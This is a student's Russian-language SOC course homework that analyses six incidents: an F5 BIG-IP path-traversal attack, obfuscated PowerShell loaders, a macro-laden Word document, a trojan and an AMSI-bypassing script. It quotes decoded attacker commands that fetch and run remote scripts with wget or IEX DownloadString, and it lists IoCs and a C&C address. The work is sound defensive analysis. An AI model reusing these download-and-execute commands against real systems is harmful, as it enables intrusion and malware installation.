###### tags: `INT` # Мониторинг ИБ. Работа специалиста SOC. ## Домашнее задание ### Задание 1 1. Опишите, что происходит (чего добиваются атакующие). ![](https://i.imgur.com/Pu5w6Lc.png) В запросе эксплуатируется уязвимость *Directory Traversal*: `/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp` Из `login.jsp` - формы логина, используемой в *JavaServer Pages* для получения введенных пользователем данных, злоумышленник поднимается вверх по каталогу и переходит в `tmshCmd.jsp`. >tmsh — это bash-подобная утилита для администрирования BIG-IP, в которой можно автоматизировать команды и процессы, создавать собственные команды или наборы команд, выполнять кастомные скрипты на TCL и использовать разные сценарии поведения сервера, вплоть до его выключения. Все это делается с привилегиями суперпользователя, что создает широкие возможности для эксплуатации уязвимостей. Файл `tmshCmd.jsp` представляет собой аналог командной строки, он принимает на вход параметр `command`, который содержит в себе исполняемый код. Таким образом, результат выполнения двух следующих запросов будет одинаковым: --- *Командная строка:* ``` [root@localhost] tmsh ping 8.8.8.8 ``` *URL:* ``` .../tmshCmd.jsp?command = ping 8.8.8.8 ``` --- В нашем случае злоумышленник устанавливает скрипт по ссылке, назначает для него права доступа для всех пользователей на чтение, запись, выполнение и затем запускает его: `?command=` `wget http://136.144.41.3/igipdmcdmsklcmk/ohsitsvegawellrip.sh ;` `chmod 777 ohsitsvegawellrip.sh ;` `sh ohsitsvegawellrip.sh ;` После этого пытается установить еще один файл по короткой ссылке, но в запросе допущена ошибка - название протокола `https://` повторяется дважды: `wget https://https://iplogger.org/2FGVP5` Предполагаю, что благодаря подобной ошибке злоумышленника, можно обезопасить систему до того, как она была скомпрометирована. На основании открытых источников находим, что из себя представляет `ohsitsvegawellrip.sh`. *MITRE ATT&CK MATRIX:* ![](https://i.imgur.com/mFSXI8C.png) *VirusTotal:* ![](https://i.imgur.com/PJrbcm0.png) *Вывод*: атакующий пытается добиться удаленного исполнения кода через уязвимости в F5 BIG-IP. *Идентификационный номер уязвимости*: CVE-2020-5902 --- 2. Выделите признаки, по которым понятно, что происходит атака. * В запросе эксплуатируются уязвимости системы; * Выполнение команд осуществляется посредством эксплуатации уязвимостей; * Выполняемые команды имеют подозрительную активность; * Устанавливается вредоносное ПО. --- 3. Выделите IoС'и, которые могут быть использованы для выявления подобной активности в будущем. * Поднятие вверх по каталогу в пути к файлу(символы `..;`); * В параметрах запроса передается недопустимое имя параметра `?command=`; * В запросе изменяются права доступа пользователей: `chmod`; * URL: `http://136.144.41.3/igipdmcdmsklcmk/ohsitsvegawellrip.sh`; * File Name: `ohsitsvegawellrip.sh` * Другие параметры файла: MD5, путь файла, заголовок PE, размер и тд. --- 4. Укажите, каким образом можно удостовериться в том, удалось ли атакующим достигнуть того, чего они добивались этим запросом. Если считать, что запрос корректный, нужно посмотреть ответ сервера на данный запрос. Для проверки дальнейшей активности скрипта необходимо изучить логи сервера. --- ### Задание 2 ![](https://i.imgur.com/ioLp9VR.png) Event 800 сигнализирует о выполнении конвеера команд. ![](https://i.imgur.com/kpGbonM.png) Код на изображении обфусцирован, декодируем его и получим список выполненных команд: `CommandInvocation(Invoke-Expression): "Invoke-Expression"` `ParameterBinding(Invoke-Expression):` `name="Command";` `value="Invoke-Expression (NewObject Net.WebClient).DownloadString.Invoke(http://tinyurl.com/y7ukpduz)"` Злоумышленник загружает скрипт по короткой URL-ссылке из удаленного ресурса и сразу же выполняет его. Перейдя по адресу увидим следующий txt-файл: `powershell.exe -NoP Write-Host "I am holding all your files hostage until you pay me FIVE BITCOINS. Contact me at slayer@XUZ.com"` Флаг `-NoP` (`-NoProfile`) используется для отключения профиля powershell и выполнения скриптов. В результате выполнения этой команды на экран будет выведен указанный в кавычках текст. Использование обфускации и скрытый вызов скрипта направлены на затруднение распознавания атаки. --- 1. Что подозрительного в событии? * Обфускация выполняемых команд * Загрузка и выполнение файла по короткой ссылке --- 2. С какой целью реализовано? Событие может быть завершающим в цепочке действий вируса-вымогателя. --- ### Задание 3 1. Что в этих событиях является подозрительным? * Подключение *WinRAR* к *Word* ![](https://i.imgur.com/K9tyWAG.png) * *Word* вызывает `verclsid.exe` ![](https://i.imgur.com/2rgSUfm.png) * *Word* вызывает `powershell.exe` ![](https://i.imgur.com/hFAoS5T.png) * Чтение данных с диска ![](https://i.imgur.com/HZEGuvk.png) ![](https://i.imgur.com/VXojZlk.png) --- 2. Какие признаки указанных событий на это указывают? * Для первого указанного события: Event ID, Image, ImageLoaded. * Для второго: Event ID, ParentImage, Image, CommandLine. * Для третьего: Event ID, ParentImage, Image, CommandLine. * Для последнего: Event ID. --- 3. Какие IoC'и можно выделить из этих событий? | | Event ID | 7 | | --- | ----------------- | --------------- | | and | Image | ..\WINWORD.EXE | | and | ImageLoaded | ..\RarExt32.dll | | or | Product | WinRAR | | or | OridginalFileName | RarExt.dll | |or|MD5|5098B76D28AC2E98A882F82296E6F4B7| |or|SHA256|F6F14FA21C5C6D27DC6A03BAB457686908993D1CC8001EAC35E8DBCB7BAD64D5| | | Event ID | 1 | | -------- | -------- | -------- | |and|Image|..\verclsid.exe| |and|CommandLine|"C:\Windows\system32\verclsid.exe" /S /C...| | | Event ID | 1 | | -------- | -------- | -------- | |and|Image|..\powershell.exe| |and|ParentImage|..\WINWORD.EXE| URL: http://omni-consumer-pr0ducts.tk/favicon.ico --- 4. Опишите подробно суть подозрительных действий в системе, зафиксированных в этом журнале. В некоторых событиях участвует процесс `svchost.exe`. В первой записи указано, что он содержится в папке `System32`: ![](https://i.imgur.com/bd63fxr.png) В других название папки - `system32`: ![](https://i.imgur.com/dWxhAno.png) ![](https://i.imgur.com/TmvevJi.png) Регистр первой буквы отличается. По умолчанию папка с системными файлами должна иметь путь `C:\Windows\System32`. В *ОС Windows* регистр букв зачастую не имеет значения, но в данном случае путь к файлу одной и той же службы в одинаковых событиях должен отображаться одинаково. Также, авторы вредоносных программ зачастую прикрепляют вредоносные файлы к `svchost.exe` для предотвращения их обнаружения. Поэтому второй `svchost.exe` может быть вредоносной программой, маскирующейся под системную службу. Пользователь запускает установленный из интернета документ Word: ![](https://i.imgur.com/A9MAm0G.png) После этого зафиксировано событие создания временного файла. Это может свидетельствовать о том, что в документе содержатся макросы/скрипты, поскольку при открытии документов, содержащих проекты *VBA*, приложение создает временный файл-хранилище, в который копирует директории *VBA*. ![](https://i.imgur.com/uU7djK8.png) При запуске *Word* открывается шаблон `Normal.dotm`, который содержит стили по умолчанию и настройки, определяющие общий вид документа. Несмотря на расширение `.dotm` файл зачастую не несет угрозы пользователю. Однако, если он был переписан зловредом, каждый раз при открытии документов *Word* будет срабатывать вредоносный скрипт. ![](https://i.imgur.com/MWE83i8.png) Зафиксировано событие создания/изменения папки автозапуска *Word*. Нас это интересует, так как именно в этой папке содержатся ресурсы для макросов. ![](https://i.imgur.com/OwINQZM.png) В событиях с `ID 11` нужно обращать внимание на каталоги автозагрузки, временные каталоги и папку "Загрузки", в которые часто попадают вредоносные программы. Создание еще нескольких временных файлов: ![](https://i.imgur.com/wYi3iDM.png) ![](https://i.imgur.com/QO2C51b.png) ![](https://i.imgur.com/xfAtkcR.png) Word подключает *dll*-модуль `WinRAR shell extension`, что не свойственно его нормальной работе. Скорее всего, это результат действий зловредного ПО, целью которого является распаковка архива, содержащего файлы, необходимые для дальнейшей компрометации системы. ![](https://i.imgur.com/K9tyWAG.png) Также, я заметил, что перед каждым вызовом командной строки создается/переписывается `.lnk` файл с именем нашего документа. Поскольку, `.lnk` файл представляет собой ярлык, который используется в качестве ссылки для определенного файла, предполагаю, что вызов командной строки осуществлялся путем исполнения некоторых разархивированных ранее файлов через `.lnk` ссылки. ![](https://i.imgur.com/ejVyqPH.png) `verclsid.exe`, запущенный с опциями `/S /C {CLSID}` используется злоумышленниками для выполнения вредоносного кода: > https://attack.mitre.org/techniques/T1218/012/ ![](https://i.imgur.com/2rgSUfm.png) Открытый ранее *docx*-файл вызывает выполнение команды *powershell*. Указанные опции помогают скрыть выполнение команды от пользователя. Текст команды закодирован. ![](https://i.imgur.com/hFAoS5T.png) После декодирования из *Base64* получим: `IEX (New-Object System.Net.WebClient).DownloadString('http://omni-consumer-pr0ducts.tk/favicon.ico');` `.ico` - формат хранения файлов значков в *Microsoft Windows*. В результате выполнения команды на устройство загружается изображение, которое может содержать в себе закодированные команды *powershell*, либо использоваться для создания всплывающего окна или вредоносного ярлыка на рабочем столе. `PSScriptPolicyTest*.ps1/psm1` создаются при запуске *powershell* для тестирования работы *AppLocker* и не являются вредоносными. Событие говорит о том, что перед ним был вызван *powershell*. ![](https://i.imgur.com/yXDFtaF.png) ![](https://i.imgur.com/1e8LqYI.png) `.pf` файлы перезаписываются каждый раз при запуске указанного в названии исполняемого файла. Для нас важно, что в них содержится список каталогов и файлов, с которыми этот файл взаимодействовал. Зачастую, они могут быть удалены вирусами для "заметания" следов. Исходя из этих событий, можно быстро понять, какие службы и программы были задействованы при атаке: ![](https://i.imgur.com/dWxhAno.png) ![](https://i.imgur.com/TmvevJi.png) ![](https://i.imgur.com/yArInt6.png) ![](https://i.imgur.com/73aKSbH.png) ![](https://i.imgur.com/h9xUOF1.png) ![](https://i.imgur.com/kSES3Pm.png) --- ### Задание 4 1. Что произошло на узле? На узле `larteshina.plat.form` произошло выполнение вредоносного скрипта *powershell*. С помощью MaxPatrol 10 был обнаружен запуск процесса в скрытом окне по параметру `-w hidden`. Путь к файлу: `C:\\Program Files\\administrator_check\\take_process_data.ps1` Событие идентифицируется как атака, проверим скрипт на *VirusTotal*: ![](https://i.imgur.com/rF4xm9N.png) --- 2. С помощью чего это удалось добиться? Благодаря многократной обфускации кода. --- 3. Если есть, то укажите адрес C&C и порт. Попробуем деобфусцировать код, чтобы найти искомый адрес. `-e` это сокращение от `-EncodedCommand`. ![](https://i.imgur.com/I0dLVAj.png) В результате декодирования из `Base64` получаем понятный код *powershell*. ![](https://i.imgur.com/39B6dh5.png) Далее, меняем символы следующим образом: `{0} = '='`, `{1} = 'e'`. Фрагмент кода снова закодирован `Base64`, на это указывает строка `[System.Convert]::FromBase64String`, и затем сжат с помощью *gzip*: ![](https://i.imgur.com/Uy6ZOze.png) Декодируем и разархивируем: ![](https://i.imgur.com/QgOO4vV.png) В полученном коде присутствует еще один закодированный фрагмент. ![](https://i.imgur.com/Asj5R7X.png) При декодировании получаем нечитаемый текст: ![](https://i.imgur.com/2oQQyrd.png) Переменная, в которой хранится закодированная команда, при выводе дает массив чисел. ![](https://i.imgur.com/f2wIeX6.png) Попытка создать из них исполняемый файл и извлечь информацию о нем не дала положительного результата. Запускаю скрипт на виртуальной машине и отслеживаю трафик через *WireShark*. После долгого анализа нахожу подозрительный адрес 10.158.3.3. ![](https://i.imgur.com/esLQMwM.png) Для проверки запускаю скрипт в песочнице, *powershell* обращается на этот же адрес. > [Tria.ge](https://tria.ge/221006-pb3qjshedm/behavioral1) ![](https://i.imgur.com/EDLSbHS.png) > [Virustotal](https://www.virustotal.com/gui/file/f838abe36f0dc0d59ad7d91ebbb78f93f6b00fc61de895c144d823bb519b5bd0/behavior) ![](https://i.imgur.com/pSinokP.png) Адрес C&C: 10.158.3.3 Порт: 4433 --- ### Задание 5 Деобфусцируем код: ![](https://i.imgur.com/ETXEC9D.png) Адрес `t.amynx.com/a.jsp` является индикатором компрометации. Скрипт подгружает с этого адреса необходимые файлы, затем эксплуатируется уязвимость *EternalBlue*, и злоумышленник, получая доступ к устройству, выполняет дальнейшие вредоносные действия. 1. К какому семейству принадлежит данное ВПО? - Троян --- 2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта. * M6.bin * M6.bin.ori * M6G.bin * M6.bin.exe * <File name that follows the regex pattern M[0-9]{1}[A-Z]{1}>.BIN. --- ### Задание 6 Опишите, что же на самом деле произошло на компьтере пользователя. Открыв `.bat`-файл пользователь вызвал запуск *powershell*-скрипта. Раскодируем его: ![](https://i.imgur.com/Lj3HJKe.png) Без деобфускации видно, что скрипт отключает службы защиты от вредоносных программ(`System.Management.Automation.Amsi`) и отслеживания выполнения *powershell*-скриптов(`System.Management.Automation.Tracing.PSE`). Затем, устанаваливает данные по ссылке `http://172.16.222.11:4321/admin/get.php`. Далее, к устройству подключается удаленный пользователь и пытается извлечь информацию из базы данных. --- Укажите необходимые подробности и признаки, по которым можно выявлять подобную активность, а так же необходимые данные для осуществления мер по реагированию. | EventID | 1 | and | | -------- | -------- | -------- | | OriginalFileName | PowerShell.EXE | and | |CommandLine|...bypass...|or| |MD5|45F9906157E072B92140EAA2A67AE424|or| |SHA256|6A785ADC0263238DAB3EB37F4C185C8FBA7FEB5D425D034CA9864F1BE1C1B473|| | EventID | 4103 | and | | -------- | -------- | -------- | | Data | ...HostName=ServerRemoteHost... | and | |Channel|Microsoft-Windows-PowerShell/Operational||